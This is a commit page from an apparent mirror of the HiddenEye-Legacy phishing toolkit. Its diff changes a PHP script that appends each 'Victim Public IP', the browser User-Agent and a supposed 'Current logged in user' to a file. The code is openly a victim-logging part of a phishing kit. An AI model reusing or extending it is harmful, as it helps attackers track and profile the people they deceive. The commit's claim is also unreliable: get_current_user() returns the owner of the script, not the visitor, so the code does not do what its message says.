mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Get current logged in username
This commit is contained in:
parent
c0e775b088
commit
2c9c11a470
|
@ -12,18 +12,23 @@ else
|
||||||
{
|
{
|
||||||
$ipaddress = $_SERVER['REMOTE_ADDR']."\r\n";
|
$ipaddress = $_SERVER['REMOTE_ADDR']."\r\n";
|
||||||
}
|
}
|
||||||
$useragent = " User-Agent: ";
|
|
||||||
$browser = $_SERVER['HTTP_USER_AGENT'];
|
|
||||||
|
|
||||||
|
$browser = $_SERVER['HTTP_USER_AGENT'];
|
||||||
|
$useragent = " User-Agent: " . $browser;
|
||||||
|
|
||||||
|
$user = get_current_user();
|
||||||
|
|
||||||
$file = 'ip.txt'; //this is the file to which the IP address will be written; name it your way.
|
$file = 'ip.txt'; //this is the file to which the IP address will be written; name it your way.
|
||||||
$victim = "Victim Public IP: ";
|
$victim = "Victim Public IP: ";
|
||||||
|
|
||||||
|
$currentuser = "\r\n" . "\r\n" . "Current logged in user: " . $user;
|
||||||
|
|
||||||
$fp = fopen($file, 'a');
|
$fp = fopen($file, 'a');
|
||||||
|
|
||||||
fwrite($fp, $victim);
|
fwrite($fp, $victim);
|
||||||
fwrite($fp, $ipaddress);
|
fwrite($fp, $ipaddress);
|
||||||
fwrite($fp, $useragent);
|
fwrite($fp, $useragent);
|
||||||
fwrite($fp, $browser);
|
fwrite($fp, $currentuser);
|
||||||
|
|
||||||
|
|
||||||
fclose($fp);
|
fclose($fp);
|
||||||
|
|
Loading…
Reference in New Issue
Block a user